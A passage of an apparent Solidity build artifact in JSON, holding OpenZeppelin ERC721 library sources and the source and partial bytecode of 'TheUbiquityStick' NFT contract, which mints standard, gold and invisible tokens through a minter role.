external;\\n}\\n\",\"keccak256\":\"0x516a22876c1fab47f49b1bc22b4614491cd05338af8bd2e7b382da090a079990\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @title ERC721 token receiver interface\\n * @dev Interface for any contract that wants to support safeTransfers\\n * from ERC721 asset contracts.\\n */\\ninterface IERC721Receiver {\\n /**\\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\\n * by `operator` from `from`, this function is called.\\n *\\n * It must return its Solidity selector to confirm the token transfer.\\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\\n *\\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\\n */\\n function onERC721Received(\\n address operator,\\n address from,\\n uint256 tokenId,\\n bytes calldata data\\n ) external returns (bytes4);\\n}\\n\",\"keccak256\":\"0xd5fa74b4fb323776fa4a8158800fec9d5ac0fec0d6dd046dd93798632ada265f\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol)\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC721.sol\\\";\\nimport \\\"../../../utils/Context.sol\\\";\\n\\n/**\\n * @title ERC721 Burnable Token\\n * @dev ERC721 Token that can be irreversibly burned (destroyed).\\n */\\nabstract contract ERC721Burnable is Context, ERC721 {\\n /**\\n * @dev Burns `tokenId`. See {ERC721-_burn}.\\n *\\n * Requirements:\\n *\\n * - The caller must own `tokenId` or be an approved operator.\\n */\\n function burn(uint256 tokenId) public virtual {\\n //solhint-disable-next-line max-line-length\\n require(_isApprovedOrOwner(_msgSender(), tokenId), \\\"ERC721Burnable: caller is not owner nor approved\\\");\\n _burn(tokenId);\\n }\\n}\\n\",\"keccak256\":\"0x1f16f9737853b988865ab819d1ebf8b5009defe981c75bc9079e0f40ed2a2e57\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC721.sol\\\";\\nimport \\\"./IERC721Enumerable.sol\\\";\\n\\n/**\\n * @dev This implements an optional extension of {ERC721} defined in the EIP that adds\\n * enumerability of all the token ids in the contract as well as all token ids owned by each\\n * account.\\n */\\nabstract contract ERC721Enumerable is ERC721, IERC721Enumerable {\\n // Mapping from owner to list of owned token IDs\\n mapping(address => mapping(uint256 => uint256)) private _ownedTokens;\\n\\n // Mapping from token ID to index of the owner tokens list\\n mapping(uint256 => uint256) private _ownedTokensIndex;\\n\\n // Array with all token ids, used for enumeration\\n uint256[] private _allTokens;\\n\\n // Mapping from token id to position in the allTokens array\\n mapping(uint256 => uint256) private _allTokensIndex;\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\\n return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.\\n */\\n function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {\\n require(index < ERC721.balanceOf(owner), \\\"ERC721Enumerable: owner index out of bounds\\\");\\n return _ownedTokens[owner][index];\\n }\\n\\n /**\\n * @dev See {IERC721Enumerable-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _allTokens.length;\\n }\\n\\n /**\\n * @dev See {IERC721Enumerable-tokenByIndex}.\\n */\\n function tokenByIndex(uint256 index) public view virtual override returns (uint256) {\\n require(index < ERC721Enumerable.totalSupply(), \\\"ERC721Enumerable: global index out of bounds\\\");\\n return _allTokens[index];\\n }\\n\\n /**\\n * @dev Hook that is called before any token transfer. This includes minting\\n * and burning.\\n *\\n * Calling conditions:\\n *\\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\\n * transferred to `to`.\\n * - When `from` is zero, `tokenId` will be minted for `to`.\\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\\n * - `from` cannot be the zero address.\\n * - `to` cannot be the zero address.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(\\n address from,\\n address to,\\n uint256 tokenId\\n ) internal virtual override {\\n super._beforeTokenTransfer(from, to, tokenId);\\n\\n if (from == address(0)) {\\n _addTokenToAllTokensEnumeration(tokenId);\\n } else if (from != to) {\\n _removeTokenFromOwnerEnumeration(from, tokenId);\\n }\\n if (to == address(0)) {\\n _removeTokenFromAllTokensEnumeration(tokenId);\\n } else if (to != from) {\\n _addTokenToOwnerEnumeration(to, tokenId);\\n }\\n }\\n\\n /**\\n * @dev Private function to add a token to this extension's ownership-tracking data structures.\\n * @param to address representing the new owner of the given token ID\\n * @param tokenId uint256 ID of the token to be added to the tokens list of the given address\\n */\\n function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {\\n uint256 length = ERC721.balanceOf(to);\\n _ownedTokens[to][length] = tokenId;\\n _ownedTokensIndex[tokenId] = length;\\n }\\n\\n /**\\n * @dev Private function to add a token to this extension's token tracking data structures.\\n * @param tokenId uint256 ID of the token to be added to the tokens list\\n */\\n function _addTokenToAllTokensEnumeration(uint256 tokenId) private {\\n _allTokensIndex[tokenId] = _allTokens.length;\\n _allTokens.push(tokenId);\\n }\\n\\n /**\\n * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that\\n * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for\\n * gas optimizations e.g. when performing a transfer operation (avoiding double writes).\\n * This has O(1) time complexity, but alters the order of the _ownedTokens array.\\n * @param from address representing the previous owner of the given token ID\\n * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address\\n */\\n function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {\\n // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and\\n // then delete the last slot (swap and pop).\\n\\n uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;\\n uint256 tokenIndex = _ownedTokensIndex[tokenId];\\n\\n // When the token to delete is the last token, the swap operation is unnecessary\\n if (tokenIndex != lastTokenIndex) {\\n uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];\\n\\n _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token\\n _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index\\n }\\n\\n // This also deletes the contents at the last position of the array\\n delete _ownedTokensIndex[tokenId];\\n delete _ownedTokens[from][lastTokenIndex];\\n }\\n\\n /**\\n * @dev Private function to remove a token from this extension's token tracking data structures.\\n * This has O(1) time complexity, but alters the order of the _allTokens array.\\n * @param tokenId uint256 ID of the token to be removed from the tokens list\\n */\\n function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {\\n // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and\\n // then delete the last slot (swap and pop).\\n\\n uint256 lastTokenIndex = _allTokens.length - 1;\\n uint256 tokenIndex = _allTokensIndex[tokenId];\\n\\n // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so\\n // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding\\n // an 'if' statement (like in _removeTokenFromOwnerEnumeration)\\n uint256 lastTokenId = _allTokens[lastTokenIndex];\\n\\n _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token\\n _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index\\n\\n // This also deletes the contents at the last position of the array\\n delete _allTokensIndex[tokenId];\\n _allTokens.pop();\\n }\\n}\\n\",\"keccak256\":\"0x0a79511df8151b10b0a0004d6a76ad956582d32824af4c0f4886bdbdfe5746e5\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC721.sol\\\";\\n\\n/**\\n * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension\\n * @dev See https://eips.ethereum.org/EIPS/eip-721\\n */\\ninterface IERC721Enumerable is IERC721 {\\n /**\\n * @dev Returns the total amount of tokens stored by the contract.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns a token ID owned by `owner` at a given `index` of its token list.\\n * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.\\n */\\n function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);\\n\\n /**\\n * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.\\n * Use along with {totalSupply} to enumerate all tokens.\\n */\\n function tokenByIndex(uint256 index) external view returns (uint256);\\n}\\n\",\"keccak256\":\"0x483f88fbbb1d6d75000fbe8ce14279b5e6121cd5a29ff5f1b91fed407735a6c3\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC721.sol\\\";\\n\\n/**\\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\\n * @dev See https://eips.ethereum.org/EIPS/eip-721\\n */\\ninterface IERC721Metadata is IERC721 {\\n /**\\n * @dev Returns the token collection name.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the token collection symbol.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\\n */\\n function tokenURI(uint256 tokenId) external view returns (string memory);\\n}\\n\",\"keccak256\":\"0x75b829ff2f26c14355d1cba20e16fe7b29ca58eb5fef665ede48bc0f9c6c74b9\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n assembly {\\n size := extcodesize(account)\\n }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n (bool success, ) = recipient.call{value: amount}(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain `call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(\\n address target,\\n bytes memory data,\\n uint256 value\\n ) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(\\n address target,\\n bytes memory data,\\n uint256 value,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.call{value: value}(data);\\n return verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\\n * revert reason using the provided one.\\n *\\n * _Available since v4.3._\\n */\\n function verifyCallResult(\\n bool success,\\n bytes memory returndata,\\n string memory errorMessage\\n ) internal pure returns (bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x51b758a8815ecc9596c66c37d56b1d33883a444631a3f916b9fe65cb863ef7c4\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant _HEX_SYMBOLS = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n}\\n\",\"keccak256\":\"0x32c202bd28995dd20c4347b7c6467a6d3241c74c8ad3edcbb610cd9205916c45\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0xd10975de010d89fd1c78dc5e8a9a7e7f496198085c151648f20cba166b32582b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0x447a5f3ddc18419d41ff92b3773fb86471b1db25773e07f877f548918a185bf1\",\"license\":\"MIT\"},\"contracts/TheUbiquityStick.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.9;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC721/ERC721.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol\\\";\\nimport \\\"@openzeppelin/contracts/access/Ownable.sol\\\";\\n\\n// With this \\\"The UbiquiStick\\\" NFT contract you can :\\n// - get all ERC721 functionnality https://eips.ethereum.org/EIPS/eip-721\\n// - including check that someone as a NFT of the collection with \\u00ab\\u00a0balanceOf\\u00a0\\u00bb\\n// - including check who is TokenID owner with \\u00ab\\u00a0ownerOf\\u00a0\\u00bb\\n// - including optional ERC721Metadata\\n// but without metadata JSON schema\\n// with 3 types of NFTs : standard, gold and invisible, each one having same metadata\\n// with 3 different tokenURIs\\n// - including optional ERC721Enumerable\\n// - get you NFT listed on OpenSea (on mainnet or matic only)\\n// - allow NFT owner to burn it\\u2019s own NFT\\n// - allow one owner (deployer at start) to change tokenURIs (setTokenURI), and change minter (setMinter) and transfer it's owner role to someone else\\n// - allow one minter to mint NFT (safeMint)\\n\\ncontract TheUbiquityStick is ERC721, ERC721Burnable, ERC721Enumerable, Ownable {\\n uint256 public tokenIdNext = 1;\\n\\n address public minter;\\n\\n string private _tokenURI;\\n uint256 private constant STANDARD_TYPE = 0;\\n\\n string private _goldTokenURI;\\n mapping(uint256 => bool) public gold;\\n uint256 private constant GOLD_FREQ = 64;\\n uint256 private constant GOLD_TYPE = 1;\\n\\n string private _invisibleTokenURI;\\n uint256 private constant INVISIBLE_TOKEN_ID = 42;\\n uint256 private constant INVISIBLE_TYPE = 2;\\n\\n modifier onlyMinter() {\\n require(msg.sender == minter, \\\"Not minter\\\");\\n _;\\n }\\n\\n constructor() ERC721(\\\"The UbiquiStick\\\", \\\"KEY\\\") {\\n setMinter(msg.sender);\\n }\\n\\n function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory uri) {\\n require(_exists(tokenId), \\\"Nonexistent token\\\");\\n return gold[tokenId] ? _goldTokenURI : (tokenId == INVISIBLE_TOKEN_ID ? _invisibleTokenURI : _tokenURI);\\n }\\n\\n function setTokenURI(uint256 ntype, string memory tokenURI_) public onlyMinter {\\n if (ntype == STANDARD_TYPE) {\\n _tokenURI = tokenURI_;\\n } else if (ntype == GOLD_TYPE) {\\n _goldTokenURI = tokenURI_;\\n } else if (ntype == INVISIBLE_TYPE) {\\n _invisibleTokenURI = tokenURI_;\\n }\\n }\\n\\n function setMinter(address minter_) public onlyOwner {\\n minter = minter_;\\n }\\n\\n function safeMint(address to) public onlyMinter {\\n uint256 tokenId = tokenIdNext;\\n tokenIdNext += 1;\\n\\n // Gold one\\n if (random() % uint256(GOLD_FREQ) == 0) {\\n if (tokenId != INVISIBLE_TOKEN_ID) gold[tokenId] = true;\\n }\\n _safeMint(to, tokenId);\\n }\\n\\n function batchSafeMint(address to, uint256 count) public onlyMinter {\\n for (uint256 i = 0; i < count; i++) {\\n safeMint(to);\\n }\\n }\\n\\n function random() private view returns (uint256) {\\n return uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp, msg.sender, tokenIdNext)));\\n }\\n\\n function _beforeTokenTransfer(\\n address from,\\n address to,\\n uint256 tokenId\\n ) internal override(ERC721, ERC721Enumerable) {\\n super._beforeTokenTransfer(from, to, tokenId);\\n }\\n\\n function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {\\n return super.supportsInterface(interfaceId);\\n }\\n}\\n\",\"keccak256\":\"0xdac2dd9674649ad573501f858d3c19f4d0603e834ccb767944073bb74d66018b\",\"license\":\"MIT\"}},\"version\":1}", - "bytecode": "0x60806040526001600b553480156200001657600080fd5b50604080518082018252600f81526e54686520556269717569537469636b60881b6020808301918252835180850190945260038452624b455960e81b908401528151919291620000699160009162000184565b5080516200007f90600190602084019062000184565b5050506200009c62000096620000ad60201b60201c565b620000b1565b620000a73362000103565b62000267565b3390565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600a546001600160a01b03163314620001625760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640160405180910390fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b82805462000192906200022a565b90600052602060002090601f016020900481019282620001b6576000855562000201565b82601f10620001d157805160ff191683800117855562000201565b8280016001018555821562000201579182015b8281111562000201578251825591602001919060010190620001e4565b506200020f92915062000213565b5090565b5b808211156200020f576000815560010162000214565b600181811c908216806200023f57607f821691505b602082108114156200026157634e487b7160e01b600052602260045260246000fd5b50919050565b611e1f80620002776000396000f3fe608060405234801561001057600080fd5b50600436106101a95760003560e01c80634f6ccce7116100f957806395d89b4111610097578063c87b56dd11610071578063c87b56dd14610381578063e985e9c514610394578063f2fde38b146103d0578063fca3b5aa146103e357600080fd5b806395d89b4114610353578063a22cb4651461035b578063b88d4fde1461036e57600080fd5b806370a08231116100d357806370a082311461031e578063715018a6146103315780638bbf58b3146103395780638da5cb5b1461034257600080fd5b80634f6ccce7146102e55780635832bcfe146102f85780636352211e1461030b57600080fd5b806318160ddd116101665780632f745c59116101405780632f745c591461029957806340d097c3146102ac57806342842e0e146102bf57806342966c68146102d257600080fd5b806318160ddd1461025157806320c69e561461026357806323b872dd1461028657600080fd5b806301ffc9a7146101ae57806306fdde03146101d657806307546172146101eb578063081812fc14610216578063095ea7b314610229578063162094c41461023e575b600080fd5b6101c16101bc36600461189e565b6103f6565b60405190151581526020015b60405180910390f35b6101de610407565b6040516101cd919061190f565b600c546101fe906001600160a01b031681565b6040516001600160a01b0390911681526020016101cd565b6101fe610224366004611922565b610499565b61023c610237366004611957565b610533565b005b61023c61024c366004611a0d565b610649565b6008545b6040519081526020016101cd565b6101c1610271366004611922565b600f6020526000908152604090205460ff1681565b61023c610294366004611a68565b6106c7565b6102556102a7366004611957565b6106f9565b61023c6102ba366004611aa4565b61078f565b61023c6102cd366004611a68565b610817565b61023c6102e0366004611922565b610832565b6102556102f3366004611922565b6108ac565b61023c610306366004611957565b61093f565b6101fe610319366004611922565b61098f565b61025561032c366004611aa4565b610a06565b61023c610a8d565b610255600b5481565b600a546001600160a01b03166101fe565b6101de610ac3565b61023c610369366004611abf565b610ad2565b61023c61037c366004611afb565b610add565b6101de61038f366004611922565b610b15565b6101c16103a2366004611b77565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b61023c6103de366004611aa4565b610c2f565b61023c6103f1366004611aa4565b610cc7565b600061040182610d13565b92915050565b60606000805461041690611baa565b80601f016020809104026020016040519081016040528092919081815260200182805461044290611baa565b801561048f5780601f106104645761010080835404028352916020019161048f565b820191906000526020600020905b81548152906001019060200180831161047257829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166105175760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061053e8261098f565b9050806001600160a01b0316836001600160a01b031614156105ac5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161050e565b336001600160a01b03821614806105c857506105c881336103a2565b61063a5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161050e565b6106448383610d38565b505050565b600c546001600160a01b031633146106735760405162461bcd60e51b815260040161050e90611be5565b8161068b57805161064490600d9060208401906117ef565b60018214156106a757805161064490600e9060208401906117ef565b60028214156106c35780516106449060109060208401906117ef565b5050565b6106d2335b82610da6565b6106ee5760405162461